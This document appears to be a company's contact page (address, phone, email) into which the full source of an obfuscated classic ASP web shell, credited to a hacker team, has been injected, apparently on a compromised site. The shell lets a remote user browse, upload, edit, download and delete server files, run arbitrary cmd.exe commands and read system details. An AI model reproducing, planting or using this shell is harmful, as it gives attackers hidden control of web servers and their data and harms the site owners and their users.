Contact Us

Use this form to send us a message:

Get in touch with us

Scan me!
Scan this QR Code!

Get Directions here

Address: P.O. Box 822
Draper, UT 84020

Phone: 801-209-5509
Email: info@potmp.com

<% '---------------------------------------------------------------------- ' ----------------- Coded By Mauritania HaCker TEAM ----------------- ' ----------------- Mauritania HaCker TEAM ----------------- ' ----------------- E-mail: Mauritania@hacker.ps ----------------- '---------------------------------------------------------------------- On Error Resume Next Set fileso = CreateObject("Script"&byp4ss&"ing.File"&byp4ss&"SystemObject") dim head,endd,pathn,enddd FolderPath = Request.ServerVariables("PAT"&byp4ss&"H_TRANS"&byp4ss&"LATED") Private Function ParseFolder(PathString) Dim liCount If Right(PathString, 1) = "\" Then ParseFolder = PathString Else For liCount = Len(PathString) To 1 Step -1 If Mid(PathString, liCount, 1) = "\" Then ParseFolder = Left(PathString, liCount) Exit For End If Next End If End Function Function getsize(size) If size>=(1024 * 1024 * 1024)Then getsize=Fix((size /(1024 * 1024 * 1024))* 100)/ 100&"G" If size>=(1024 * 1024)And size<(1024 * 1024 * 1024)Then getsize=Fix((size /(1024 * 1024))* 100)/ 100&"M" If size>=1024 And size<(1024 * 1024)Then getsize=Fix((size / 1024)* 100)/ 100&"K" If size>=0 And size<1024 Then getsize=size&"B" End Function Set wssh = Server.CreateObject("W"&byp4ss&"Scr"&byp4ss&"ipt.Sh"&byp4ss&"ell") Set envinfo = wssh.Environment("SY"&byp4ss&"STEM") Set wsshn = Server.CreateObject("W"&byp4ss&"Sc"&byp4ss&"ript.Ne"&byp4ss&"twork") Class FileUploader 'Class Upload File Microsoft Public Files Private mcolFormElem Private Sub Class_Initialize() Set Files = Server.CreateObject("Script"&byp4ss&"ing"&byp4ss&".Dicti"&byp4ss&"onary") Set mcolFormElem = Server.CreateObject("Scripti"&byp4ss&"ng.Dic"&byp4ss&"tionary") End Sub Private Sub Class_Terminate() If IsObject(Files) Then Files.RemoveAll() Set Files = Nothing End If If IsObject(mcolFormElem) Then mcolFormElem.RemoveAll() Set mcolFormElem = Nothing End If End Sub Public Property Get Form(sIndex) Form = "" If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex)) End Property Public Default Sub Upload() Dim biData, sInputName Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos Dim nPosFile, nPosBound biData = Request.BinaryRead(Request.TotalBytes) nPosBegin = 1 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) If (nPosEnd-nPosBegin) <= 0 Then Exit Sub vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin) nDataBoundPos = InstrB(1, biData, vDataBounds) Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--")) nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition")) nPos = InstrB(nPos, biData, CByteString("name=")) nPosBegin = nPos + 6 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename=")) nPosBound = InstrB(nPosEnd, biData, vDataBounds) If nPosFile <> 0 And nPosFile < nPosBound Then Dim oUploadFile, sFileName Set oUploadFile = New UploadedFile nPosBegin = nPosFile + 10 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\")) nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:")) nPosBegin = nPos + 14 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) nPosBegin = nPosEnd+4 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin) If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile Else nPos = InstrB(nPos, biData, CByteString(Chr(13))) nPosBegin = nPos + 4 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) End If nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds) Loop End Sub Private Function CByteString(sString) Dim nIndex For nIndex = 1 to Len(sString) CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1))) Next End Function Private Function CWideString(bsString) Dim nIndex CWideString ="" For nIndex = 1 to LenB(bsString) CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))) Next End Function End Class Class UploadedFile Public ContentType Public FileName Public FileData Public Property Get FileSize() FileSize = LenB(FileData) End Property Public Sub SaveToDisk(sPath) Dim oFS, oFile Dim nIndex If sPath = "" Or FileName = "" Then Exit Sub If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\" Set oFS = Server.CreateObject("Scrip"&byp4ss&"ting.FileSy"&byp4ss&"stemObj"&byp4ss&"ect") If Not oFS.FolderExists(sPath) Then Exit Sub Set oFile = oFS.CreateTextFile(sPath & FileName, True) For nIndex = 1 to LenB(FileData) oFile.Write Chr(AscB(MidB(FileData,nIndex,1))) Next oFile.Close End Sub End Class if request.querystring("uploadnow")<>"" then Set Uploader = New FileUploader Uploader.Upload() If Uploader.Files.Count = 0 Then Response.Write "" Else Response.Write "" For Each File In Uploader.Files.Items File.SaveToDisk Request.querystring("address") Next End If End If pathn=Request.QueryString("address") if pathn ="" Then pathn=ParseFolder(FolderPath) Else pathn=Request.QueryString("address") end if enddd="

 

Coded by Amin Shokohi (Pejvak)
iTsecteam

" If pathn <>"" and CInt(Len(pathn) - 1) <> 2 Then barrapos = CInt(InstrRev(Left(pathn,Len(pathn) - 1),"\")) - 1 backlevel = Left(pathn,barrapos) backk="
Back" End If if request.querystring("dltype")= "file" then fileadd=request.querystring("address") & request.querystring("filename") Response.Buffer = True Response.Clear Set dlfile = fileso.GetFile(fileadd) Response.AddHeader "Content-Disposition", "attachment; filename=" & request.querystring("filename") Response.AddHeader "Content-Length", dlfile.size Response.Charset = "UTF-8" Response.ContentType = "application/download" Set Stream = Server.CreateObject("ADODB.Stream") Stream.Open Stream.type = 1 Stream.LoadFromFile dlfile Response.BinaryWrite Stream.Read Response.Flush Stream.Close Set Stream = Nothing end if if request.querystring("do")= "delete" and request.querystring("type")= "file" then fileadd=request.querystring("address") & request.querystring("filename") Set filetodel = fileso.GetFile(fileadd) filetodel.delete If Err.Number <> 0 Then Response.Write "" else Response.Write "" End If fileadd="" end if if request.querystring("do")= "dl" and request.querystring("type")= "file" then fileadd=request.querystring("address") & request.querystring("filename") Set filetodel = fileso.GetFile(fileadd) filetodel.delete fileadd="" end if Set patha = fileso.GetFolder(pathn&"\") Set dirs = patha.SubFolders Set files = patha.Files for each filead in files file=file&"

"& filead.Name &"

" & getsize(filead.size) & ""& filead.DateLastModified &"EditDLRenDel
" next for each dirl in dirs dirlist=dirlist&"

"&dirl.name&"

"& dirl.DateLastModified &"Del
" next head="
" if request.querystring("uploadnow")= "" then if request.form("source")<> "" then fileadd=request.form("address") & request.form("filename") nextline = Request.Form("source") nextline = Split(nextline,vbCrLf) Set filetosave = fileso.OpenTextFile(fileadd,2) For i = 0 To UBound(nextline) filetosave.WriteLine(nextline(i)) Next filetosave.Close If Err.Number <> 0 Then Response.Write "" else Response.Write "" End If Set filetosave = Nothing fileadd="" end if Function getdrive() Set drivelist=fileso.drives For Each tmpdrive IN drivelist if tmpdrive.DriveType=2 then tmpgd=tmpgd & "" & UCase(tmpdrive.driveletter) & ":" & " " end if next getdrive=tmpgd end function if request.form("renameto")<> "" then fileadd=request.form("address") & request.form("filename") Set filetoren = fileso.GetFile(fileadd) filetoren.Move (request.form("renameto")) If Err.Number <> 0 Then Response.Write "" else Response.Write "" End If fileadd="" end if end if response.write("iTSecTeam") if request.querystring("do")="edit" then addressfile=Request.QueryString("address") & Request.QueryString("filename") Set filesource = fileso.OpenTextFile(addressfile) response.write(head&"

"& Request.QueryString("address")&Request.QueryString("filename")&"

") elseif(request.querystring("do")="rename") then response.write(head&"

"&Request.QueryString("filename")&" Rename To :

") elseif(request.querystring("do")="info") then response.write(head&" OS : "& envinfo("OS") &"
"&" Username : "& wsshn.username &"
"&" Web Serever : "&Request.ServerVariables("SERVER_SOFTWARE")&"
"&" Serever Name : "&Request.ServerVariables("SERVER_NAME")&"
"&" Serever Port : "&Request.ServerVariables("SERVER_PORT")&"
"&" Server ip : "&Request.ServerVariables("LOCAL_ADDR")&"
"&" Your ip : "&Request.ServerVariables("REMOTE_ADDR")&"
"&" App Path : "&Request.ServerVariables("APPL_PHYSICAL_PATH")&"
"&" Win Path : "&wssh.ExpandEnvironmentStrings("%SYSTEMROOT%")&"
") elseif(request.querystring("do")="cmd") then if request.querystring("command") <>"" then cmtmp = "c:\" & fileso.GetTempName() Call wssh.Run ("cmd.exe /c " & request.querystring("command") & " > " & cmtmp, 0, True) Set readcmtmp = fileso.OpenTextFile (cmtmp, 1, False, 0) rescmd= Replace(Replace(Server.HTMLEncode(readcmtmp.ReadAll),VbCrLf,"
")," "," ") readcmtmp.Close Call fileso.DeleteFile(cmtmp, True) If Err.Number <> 0 Then rescmd=Err.Description end if end if response.write(head&"

"&"
Command :

") elseif(request.querystring("do")="about") then response.write(head&"

Mauritania HaCker TEAM, Mauritania HaCker TEAM Research & Penetration Testing Team
Version 0.1
Last Update : 2010/10/20
Coded By : Amin Shokohi(Pejvak)
Special Thanks(M3hr@n.S , Am!rkh@n , R3dm0ve , Provider , H4mid@Tm3l , ahmadbady , Doosib )
Home Page : http://www.itsecteam.com
Update Notice: ITSecTeam Shell
Forum : http://www.forum.itsecteam.com
"&"

"&"
"&"______  ______  ____                   ______                               "&"
/\__ _\/\__ _\/\ _`\ /\__ _\ "&"
\/_/\ \/\/_/\ \/\ \,\L\_\ __ ___\/_/\ \/ __ __ ___ ___ "&"
\ \ \ \ \ \ \/_\__ \ /'__`\ /'___\ \ \ \ /'__`\ /'__`\ /' __` __`\ "&"
\_\ \__ \ \ \ /\ \L\ \/\ __//\ \__/ \ \ \/\ __//\ \L\.\_/\ \/\ \/\ \ "&"
/\_____\ \ \_\ \ `\____\ \____\ \____\ \ \_\ \____\ \__/.\_\ \_\ \_\ \_\"&"
\/_____/ \/_/ \/_____/\/____/\/____/ \/_/\/____/\/__/\/_/\/_/\/_/\/_/"&"
"&"
"&"
") else response.write(head & "

Now Directory : "&pathn&"
"&getdrive()&""&backk&"

"& dirlist &file&"
Change Dir :
Command :
Upload File :
"&enddd) end if %>

TOP